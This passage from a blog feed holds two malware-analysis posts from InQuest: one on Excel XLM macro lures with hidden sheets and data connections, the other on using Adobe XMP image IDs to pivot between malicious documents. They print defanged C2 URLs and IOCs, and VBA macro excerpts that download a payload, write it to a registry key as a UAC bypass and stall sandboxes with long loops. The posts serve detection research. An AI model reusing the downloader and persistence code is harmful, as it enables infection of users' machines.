&amp;lt;/body&amp;gt;&lt;br&gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br&gt;
&nbsp;&lt;/p&gt;

&lt;p&gt;The content of &quot;&amp;lt;pre&amp;gt;&quot; element from the XHTML document is written to the sheet and executed as the next-stage:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/6ec0d64d-545a-47b0-94ba-2e4d8b8e1346.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;In this particular case, the pivot macro downloads a DLL file from hxxps://tdvomds[.]pw/fef23f23f (&lt;a href=&quot;https://www.virustotal.com/gui/file/acc5fe0088037ddc055f9286380c56583effa1186afe9d08caea3e197b2643fd/detection&quot; target=&quot;_top&quot;&gt;acc5fe0088037ddc055f9286380c56583effa1186afe9d08caea3e197b2643fd&lt;/a&gt;&nbsp;(&lt;a href=&quot;https://github.com/InQuest/malware-samples/blob/master/miscellaneous/acc5fe0088037ddc055f9286380c56583effa1186afe9d08caea3e197b2643fd&quot; target=&quot;_top&quot;&gt;warning, actual sample&lt;/a&gt;) and executes rundll32 to call its DllRegisterServer function to register/execute it. The logic within the DLL communicates with the following C&amp;amp;C servers:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;
	&lt;p&gt;hxxps://aquolepp[.]pw/milagrecf.php&lt;/p&gt;
	&lt;/li&gt;
	&lt;li&gt;
	&lt;p&gt;hxxps://dhteijwrb[.]host/milagrecf.php&lt;/p&gt;
	&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;img src=&quot;/legacy/2020-03-18-getting-sneakier-hidden-sheets-data-connections-and-xlm-macros/af598203-9309-445b-a955-2bc8d31c8f06.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;h2&gt;Detection and Mitigation&lt;/h2&gt;

&lt;h3&gt;Optical Character Recognition (OCR)&lt;/h3&gt;

&lt;p&gt;A solid generic approach to detect this and many similar malicious document lures is to carve out the embedded image and then extract the semantic content via OCR. Within the XLS/BIFFv8 format, records have a maximum size of 8,228 bytes. If the size of data is greater than what can fit in a single record, then the data must be split into chunks. The first chunk is put in the first record, and the rest of the data chunks are placed in subsequent&nbsp;&lt;strong&gt;CONTINUE (3Ch)&lt;/strong&gt;&nbsp;records. To successfully extract images from XLM files, one needs to strip these&nbsp;&lt;strong&gt;CONTINUE&lt;/strong&gt;&nbsp;headers from the extracted image. To accomplish this task automatically, we've extended the oledump BIFF plugin (plugin_biff.py) to include a new command line switch for extracting images. You can find our patch in our Github repository (lines 570 to 603):&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592&quot; target=&quot;_top&quot;&gt;https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;Suspicious Attributes&lt;/h3&gt;

&lt;p&gt;Didier Steven's &lt;a href=&quot;https://blog.didierstevens.com/programs/oledump-py/&quot; target=&quot;_top&quot;&gt;oledump&lt;/a&gt;&nbsp;is a de facto tool in the arsenal of a maldoc analyst. We can leverage the BIFF plugin modified above to extract images, to filter for the DCONN record leveraged by both of the documents to retrieve a next-stage pivot:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ oledump.py -p plugin_biff sample00/inv-27101.xls --pluginoptions &quot;-o 876&quot;&lt;br&gt;
&nbsp; 1: &nbsp; &nbsp; &nbsp;4096 '\x05DocumentSummaryInformation'&lt;br&gt;
&nbsp; 2: &nbsp; &nbsp; &nbsp; 240 '\x05SummaryInformation'&lt;br&gt;
&nbsp; 3: &nbsp; &nbsp;101088 'Workbook'&lt;br&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Plugin: BIFF plugin&lt;br&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0876 &nbsp; &nbsp;135 DCONN : Data Connection&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Additionally specifying the option to dump contents as a string, one can expose the embedded URL as well:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$&nbsp;oledump.py -p plugin_biff sample00/inv-27101.xls --pluginoptions &quot;-o 876 -s&quot;&lt;br&gt;
&nbsp; 1: &nbsp; &nbsp; &nbsp;4096 '\x05DocumentSummaryInformation'&lt;br&gt;
&nbsp; 2: &nbsp; &nbsp; &nbsp; 240 '\x05SummaryInformation'&lt;br&gt;
&nbsp; 3: &nbsp; &nbsp;101088 'Workbook'&lt;br&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Plugin: BIFF plugin&lt;br&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0876 &nbsp; &nbsp;135 DCONN : Data Connection&lt;br&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ASCII:&lt;br&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Connection&lt;br&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hxxps://pnxkntdl[.]xyz/KJSDBViad7&lt;br&gt;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Sheet1!DSKVJBdsj2&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We've written and open-sourced a generic YARA hunting rule that looks for Microsoft Excel documents that contain a DCONN record and a URL:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;
	&lt;p&gt;&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/bd53910279f5acd0670f4d35f14ed78207a53d8a/Microsoft_Excel_Data_Connection.rule&quot; target=&quot;_top&quot;&gt;Microsoft Excel Data Connection&lt;/a&gt;&lt;/p&gt;
	&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;To increase the detection accuracy, we can combine the above YARA rule with the following one to check the existence of hidden and &quot;very&quot; hidden macro sheets:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;
	&lt;p&gt;&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Excel_Hidden_Macro_Sheet.rule&quot; target=&quot;_top&quot;&gt;Microsoft Excel Hidden Macro Sheet&lt;/a&gt;&lt;/p&gt;
	&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;The samples above are all available for research and download via our open data portal &lt;a href=&quot;https://labs.inquest.net&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;IOCs&lt;/h3&gt;

&lt;ul&gt;&lt;li&gt;a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af&lt;/li&gt;
	&lt;li&gt;acc5fe0088037ddc055f9286380c56583effa1186afe9d08caea3e197b2643fd&lt;/li&gt;
	&lt;li&gt;bc39d3bb128f329d95393bf0a4f6ec813356e847a00794c18258bfa48df6937f&lt;/li&gt;
	&lt;li&gt;hxxps://aquolepp[.]pw/milagrecf.php&lt;/li&gt;
	&lt;li&gt;hxxps://dhteijwrb[.]host/milagrecf.php&lt;/li&gt;
	&lt;li&gt;hxxps://pnxkntdl[.]xyz/KJSDBViad7&lt;/li&gt;
	&lt;li&gt;hxxps://tdvomds[.]pw/12341324rfefv&lt;/li&gt;
	&lt;li&gt;hxxps://tdvomds[.]pw/fef23f23f&lt;/li&gt;
	&lt;li&gt;aquolepp[.]pw&lt;/li&gt;
	&lt;li&gt;dhteijwrb[.]hos&lt;/li&gt;
	&lt;li&gt;pnxkntdl[.]xyz&lt;/li&gt;
	&lt;li&gt;tdvomds[.]pw&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2020-03-18 on &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;. Written with Amirreza Niakanlahiji.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>09.30.2019: Adobe XMP: Tales of an Overlooked Anchor</title>
            <link>http://pedramamini.com/blog/2019.09.30/</link>
            <pubDate>Mon, 30 Sep 2019 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;&lt;strong&gt;Blog post by Pedram Amini and Mike Remen&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/XMP_ID.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In this blog, we discuss Adobe Extensible Metadata Platform (XMP) identifiers (IDs) and how they can be used as both pivot and detection anchors. Defined as a standard for mapping graphical asset relationships, XMP allows for tracking of both parent-child relationships and individual revisions. There are three categories of identifiers: original document, document, and instance. Generally, XMP data is stored in XML format, updated on save/copy, and embedded within the graphical asset. This last tenet is critical to our needs as we'll be tracking the usage and re-usage of both malicious and benign graphics within common Microsoft and Adobe document lures.&lt;/p&gt;

&lt;h2&gt;Background&lt;/h2&gt;

&lt;p&gt;Let's begin with a visual reference. In the following graphic, each column represents a single asset. Each row within that column represents a unique revision or &quot;instance&quot; of that asset. The first column represents the original asset with each subsequent column representing a copy of the previous column:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/XMPGraphic.png&quot; alt=&quot;&quot;&gt;
&lt;a href=&quot;http://wwwimages.adobe.com/content/dam/acom/en/products/xmp/Pdfs/XMPAssetRelationships.pdf&quot; target=&quot;_top&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Each instance of the asset carries with it three identifiers. The Original Document ID (OID), Document ID (DID), and Instance ID (IID). The Instance ID (IID) is updated on each saved revision of the asset. The Document ID (DID) remains the same for all revisions but is unique to that copy of the asset. Finally, the Original Document ID (OID) is a backreference to the original asset from which it was derived. We have observed two formats for these identifiers: MD5 hash (32 bytes) and GUID (36 bytes). Adobe XMP is an old standard originating back to 2001. To our knowledge, no one has previously applied the standard towards malware analysis.&lt;/p&gt;

&lt;h2&gt;Application and Alternatives&lt;/h2&gt;

&lt;p&gt;Having detailed the definitions, the question remains, how are these useful? First, graphical assets are commonly re-used across malware lures. Consider for example Microsoft Office documents that embed an image coercing the user to &quot;enable content&quot;. While the macro and payload may vary from sample to sample, we have observed the same graphical asset re-used across many variants. Second, graphical assets are commonly lifted from legitimate sources. Examples here include fake invoice and phishing scams that embed legitimate company logos. In either case, tracking the usage of a graphical asset can prove valuable.&lt;/p&gt;

&lt;p&gt;There are alternatives to XMP of course. In order of worst to best applicable for this use case (in our humble opinion), one can lean on: cryptographic file hashes, Optical Character Recognition (OCR), or perceptual hashes (aHash, pHash, dHash, wHash). While XMP data is easily stripped, when available, it provides advantages over all of these techniques:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cryptographic file hashes such as MD5, SHA1, SHA256, etc vary wildly with even a single bit change.&lt;/li&gt;
&lt;li&gt;OCR is a compute-intensive and error-prone process. We're already seeing malware authors leverage techniques to decrease the efficacy of OCR by, for example, implementing blurring or leveraging different shades of the same color for the foreground text and background. Additionally, not all graphical assets have text.&lt;/li&gt;
&lt;li&gt;Perceptual hashes are also compute-intensive and error-prone, but generically a solid approach to apply when XMP data is unavailable.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In practice, InQuest watches ~1000 unique XMP IDs for the purposes of malware discovery. We utilize YARA hunt rules atop of VirusTotal Intelligence to harvest files into our corpora for further analysis (Deep File Inspection) and catalog. A significant slice of this data is made freely available to researchers via our free (as in beer) and open &lt;a href=&quot;https://labs.inquest.net&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt; data portal. Search an ever growing corpus of malicious and benign document samples by artifacts such as URLs, domains, IPs, e-mail addresses, file names, and XMP IDs. Upload documents for analysis and inclusion in the corpus. The usage of XMP IDs to anchor on new samples frequently results in the discovery of novel documents with low AV detection rates. Throughout the remainder of this blog, we'll reference samples from &lt;a href=&quot;https://labs.inquest.net&quot; target=&quot;_top&quot;&gt;labs.inquest.net&lt;/a&gt; so that readers can follow along with real-world samples.&lt;/p&gt;

&lt;h2&gt;Microsoft Office DOCX with PNG&lt;/h2&gt;

&lt;p&gt;We begin with a simple sample. A Microsoft Office Word Document, in DOCX format:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/sha256/edb24c68045b419bc45ada31f39dca62e8d6bec7b64e8d82d863f91213a398b8&quot; target=&quot;_top&quot;&gt;edb24c68045b419bc45ada31f39dca62e8d6bec7b64e8d82d863f91213a398b8&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Beginning in 2007, Microsoft changed the default document file format from the Compound Document Format (CDF/OLE) to the Open XML format. These files can simply be renamed from .docx to .zip and decompressed with standard tools. Simply unzipping this document will reveal the following image in the path ./word/media/image1.png:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/enablemacro_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;A classic malware lure that entices the user into enabling active content which, in turn, will execute malicious macro logic to pivot to further payload stages. Note that this document lure triggers detection through analysis of the semantic context embedded within the image and extracted via Optical Character Recognition (OCR). You can see that layer exposed via InQuest Labs as depicted here in a screenshot excerpt:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/ocr_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;Use the labs portal to pivot to other samples with &lt;a href=&quot;https://labs.inquest.net/dfi/search/heuristics/Macro%20Execution%20Coercion&quot; target=&quot;_top&quot;&gt;coercive content&lt;/a&gt; in the OCR or plain-text semantic layers. While this blog is not intended to cover the specifics of the macro malware, this is a well-rounded sample in the sense that it combines data from multiple layers in an attempt to avoid detection and we'll take a slight detour to dissect it. These layers are trivially exposed through &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/blog/2018/02/12/deep-file-inspection&quot; target=&quot;_top&quot;&gt;Deep File Inspection&lt;/a&gt; (DFI), a core tenet of the InQuest platform. Readers can follow along via this direct link on &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/edb24c68045b419bc45ada31f39dca62e8d6bec7b64e8d82d863f91213a398b8&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, we begin with the following excerpt from the &quot;Embedded Logic&quot; layer which is executed upon document open via the startup hook &quot;Auto_Open()&quot;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    For i = 1 To 65535555
        If i = 65535555 Then
            For t = 1 To 65535555
                If t = 65535555 Then
                    For b = 1 To 65535555
                        If b = 65535555 Then
                            For a = 1 To 65535555
                                If a = 65535555 Then
                                    For x = 1 To 65535555
                                        If x = 65535555 Then
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Five embedded loops, each looping to 65,535,555, for a total of  327,677,775 seemingly superfluous executed directives before the next block of logic is executed. What's the purpose of this? Probably an attempt at evading sandbox technologies that leverage dynamic analysis to monitor the behavior of samples in a controlled environment. By their nature, sample detonation must be limited in some way, be it based on time or instruction count. You can read more about sandbox technologies in our previous blog &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/blog/2018/03/12/defense-in-depth-detonation-technologies&quot; target=&quot;_top&quot;&gt;Defense in Depth: Detonation Technologies&lt;/a&gt;. Looking beyond this evasion logic, note that data is read from the &quot;Semantic Context&quot; layer of the document:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    Set c = ActiveDocument.Content
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The data read is:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    Starthttp://bech0r.net/test.exeEnd
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The &quot;Start&quot; and &quot;End&quot; markers are then stripped off and subsequent payload downloaded, executed, and hooked into the Windows Registry for persistence. The key  lines of code from the VBA macro are shown here:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    StartWord = &quot;Start&quot;: EndWord = &quot;End&quot;
    ...
    geturl = Replace(Replace(c.Text, StartWord, &quot;&quot;), EndWord, &quot;&quot;)
    ...
    Call DownloadFile(URLtoFile, FilePath + &quot;\payload.exe&quot;)
    ...
    Call RegiWrite(&quot;HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\&quot;, FilePath + &quot;\payload.exe&quot;)
    ...
    RetVal = CreateObject(&quot;WScript.Shell&quot;).Run(&quot;eventvwr.exe&quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The final executable payload, test.exe (&lt;a href=&quot;https://www.virustotal.com/gui/file/ea4b9c246e2b40cbd6c803cf1465cf3b608633a941f899b7c6904f489e39519a&quot; target=&quot;_top&quot;&gt;VirusTotal&lt;/a&gt;, &lt;a href=&quot;https://jbxcloud.joesecurity.org/analysis/964028/0/executive&quot; target=&quot;_top&quot;&gt;Joe Sandbox&lt;/a&gt;), turns out to be a harmless pentest sample of sorts as the executable is downloaded from &lt;a href=&quot;http://bech0r.net&quot; target=&quot;_top&quot;&gt;http://bech0r.net&lt;/a&gt;, home to a legitimate security researcher (side note: &lt;a href=&quot;http://bech0r.net/background_sound.mp3&quot; target=&quot;_top&quot;&gt;awesome background cinematic hacker ambient beat&lt;/a&gt; on this site… this is the soundtrack we're using to kick off all hack sessions moving forward). Here is a screenshot of the benign output indicating the success of the execution of the lure:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/itworks_0.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;Switching focus back to the task at hand, let's examine the AV consensus for the document lure on &lt;a href=&quot;https://www.virustotal.com/gui/file/edb24c68045b419bc45ada31f39dca62e8d6bec7b64e8d82d863f91213a398b8/detection&quot; target=&quot;_top&quot;&gt;VirusTotal&lt;/a&gt;. Detection rates began with 14 vendors on 7/15/2018 and matured to 31 vendors on 9/24/2019, as depicted here:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/avdetection_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;We can leverage standard Linux command-line tools to extract the XMP IDs from the image:&lt;/p&gt;

&lt;p&gt;&lt;b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ strings ./word/media/image1.png | grep xpacket | xmllint --format - | grep iid&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;/b&gt;&lt;/p&gt;

&lt;pre&gt;
&lt;code&gt;
    &amp;#x3C;rdf:Description
    xmlns:xmpMM=&amp;#x22;http://ns.adobe.com/xap/1.0/mm/&amp;#x22;
    xmlns:stRef=&amp;#x22;http://ns.adobe.com/xap/1.0/sType/ResourceRef#&amp;#x22;&amp;#x27;
    xmlns:xmp=&amp;#x22;http://ns.adobe.com/xap/1.0/&amp;#x22;
    rdf:about=&amp;#x22;&amp;#x22;
    xmpMM:OriginalDocumentID=&amp;#x22;xmp.did:&lt;b&gt;59D68E8C27A2E711964BBD7939DA4803&lt;/b&gt;&amp;#x22;
    xmpMM:DocumentID=&amp;#x22;xmp.did:&lt;u&gt;5F6437DAA22811E7975EC6C88D5BC4AF&lt;/u&gt;&amp;#x22;
    xmpMM:InstanceID=&amp;#x22;xmp.iid:&lt;u&gt;5F6437D9A22811E7975EC6C88D5BC4AF&lt;/u&gt;&amp;#x22;
    xmp:CreatorTool=&amp;#x22;Adobe Photoshop CS6 (Windows)&amp;#x22;&amp;#x3E;
    &amp;#x3C;xmpMM:DerivedFrom
    stRef:instanceID=&amp;#x22;xmp.iid:&lt;b&gt;59D68E8C27A2E711964BBD7939DA4803&lt;/b&gt;&amp;#x22;
    stRef:documentID=&amp;#x22;xmp.did:&lt;b&gt;59D68E8C27A2E711964BBD7939DA4803&lt;/b&gt;&amp;#x22;/&amp;#x3E;
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Or, alternatively, use the ever popular &lt;a href=&quot;https://www.sno.phy.queensu.ca/~phil/exiftool/&quot; target=&quot;_top&quot;&gt;Exiftool&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ exiftool ./word/media/image1.png | grep -i xmp&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;/b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
    XMP Toolkit                     : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Original Document ID            : xmp.did:&lt;b&gt;59D68E8C27A2E711964BBD7939DA4803&lt;/b&gt;
    Document ID                     : xmp.did:5F6437DAA22811E7975EC6C88D5BC4AF
    Instance ID                     : xmp.iid:5F6437D9A22811E7975EC6C88D5BC4AF
    Derived From Instance ID        : xmp.iid:&lt;b&gt;59D68E8C27A2E711964BBD7939DA4803&lt;/b&gt;
    Derived From Document ID        : xmp.did:&lt;b&gt;59D68E8C27A2E711964BBD7939DA480&lt;/b&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Regardless of the approach, we're going to leverage the IOC pivot tool on InQuest Labs to search for other samples that may contain images derived from the same parent asset (59D68E8C27A2E711964BBD7939DA4803).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/labspivot_0.png&quot; alt=&quot;&quot;&gt;
InQuest Labs IOC Pivot Search&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/59D68E8C27A2E711964BBD7939DA4803&quot; target=&quot;_top&quot;&gt;pivot&lt;/a&gt; reveals two additional samples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;6b0aad2732169740ba5556ec7a8c90da05af208971a3821ab0c9c1fbdc4961f5 (&lt;a href=&quot;https://www.virustotal.com/gui/file/6b0aad2732169740ba5556ec7a8c90da05af208971a3821ab0c9c1fbdc4961f5/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;, &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/6b0aad2732169740ba5556ec7a8c90da05af208971a3821ab0c9c1fbdc4961f5&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;0aa7b1554cf5a8deb29b145041623d7c67e42c04801637adb02b26203a96caaa (&lt;a href=&quot;https://www.virustotal.com/gui/file/0aa7b1554cf5a8deb29b145041623d7c67e42c04801637adb02b26203a96caaa/detection&quot; target=&quot;_top&quot;&gt;VT&lt;/a&gt;, &lt;a href=&quot;https://labs.inquest.net/dfi/sha256/0aa7b1554cf5a8deb29b145041623d7c67e42c04801637adb02b26203a96caaa&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Detection rates for sample 6b0aad27 started with 20 vendors on 8/19/2018 and matured to 34 vendors on 9/24/2019. Detection rates for 0aa7b155 started with only 6 vendors on 8/19/2019 and matured to 19 vendors on 9/24/2019. Their relevant scan histories are depicated below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/6b0aad27_0.png&quot; alt=&quot;&quot;&gt;
6b0aad2732169740ba5556ec7a8c90da05af208971a3821ab0c9c1fbdc4961f5&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/0aa7b155_0.png&quot; alt=&quot;&quot;&gt;
0aa7b1554cf5a8deb29b145041623d7c67e42c04801637adb02b26203a96caaa&lt;/p&gt;

&lt;p&gt;We can immediately see the value of leveraging XMP IDs to identify related and potentially stealthier samples of the same campaign. As a generalized workflow:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ingest files from a variety of sources, both benign and malicious.&lt;/li&gt;&lt;/li&gt;
&lt;li&gt;Extract graphical assets looking for XMP identifiers.&lt;/li&gt;&lt;/li&gt;
&lt;li&gt;Catalog these identifiers and reference that catalog for pivoting to other samples.&lt;/li&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Researchers already employ similar tactics on IP and domain IOCs. This approach provides a pivot engine for a subset of file content.&lt;/p&gt;

&lt;h2&gt;Microsoft Office DOCX with JPG&lt;/h2&gt;

&lt;p&gt;Having demonstrated the fundamental value of XMP identifier pivoting, let's dive into another DOCX example, this time with an embedded JPG. This sample is also available on InQuest Labs so readers can follow along, the SHA256 hash value is:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/sha256/fa97740770f45666ed17ca3b536b513bd99cbfa0c1feeb25dc5c08019831969e&quot; target=&quot;_top&quot;&gt;fa97740770f45666ed17ca3b536b513bd99cbfa0c1feeb25dc5c08019831969e&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;AV consensus on this malicious document lure started with 6 vendors on 7/22/2019 and matured to 32 vendors by 9/29/2019. Once again, downloading, renaming to .zip, and decompressing the archive results in the discovery of a graphical asset, ./tge-zip-1-1/word/media/image2.jpeg, shown here:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/docgraphic_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;There's another image in the media folder, image1.jpeg, we'll circle back to that shortly. Looking at the extracted IOCs panel under InQuest Labs, we see a number of XMP IDs in both GUID and MD5 formats:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/xpmids_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;The XMP IDs above are collected from all graphical assets that were discovered in the DFI process. We can pivot on each of the IOCs directly from the interface, which will include the &quot;xmp.[doi]id:&quot; prefix. Stripping the prefix will expand our search and we've curated the complete list for your convenience and exploration here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/77113FDD7F57E911B37B9950729CB11D&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/xmpid/77113FDD7F57E911B37B9950729CB11D&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/78113FDD7F57E911B37B9950729CB11D&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/xmpid/78113FDD7F57E911B37B9950729CB11D&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/xmpid/97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/9E628A27467E911AD18A821864C67C5&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/xmpid/9E628A27467E911AD18A821864C67C5&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/B3D4F1219157E911B37B9950729CB11D&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/xmpid/B3D4F1219157E911B37B9950729CB11D&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/B4D4F1219157E911B37B9950729CB11D&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/xmpid/B4D4F1219157E911B37B9950729CB11D&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/CAE628A27467E911AD18A821864C67C5&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/xmpid/CAE628A27467E911AD18A821864C67C5&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While we're focused on XMP pivots in this blog, readers should note that there are other interesting pivots that can be made as well, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OCR pivot: &lt;a href=&quot;https://labs.inquest.net/dfi/search/ext/ext_ocr/enable%20content&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ext/ext_ocr/enable%20content&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP IOC pivot: &lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/ip/54.39.233.132&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/ip/54.39.233.132&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's manually extract the XMP identifiers from image2.jpeg using Exiftool and focus solely on those:&lt;/p&gt;

&lt;p&gt;&lt;b&gt;&lt;/p&gt;

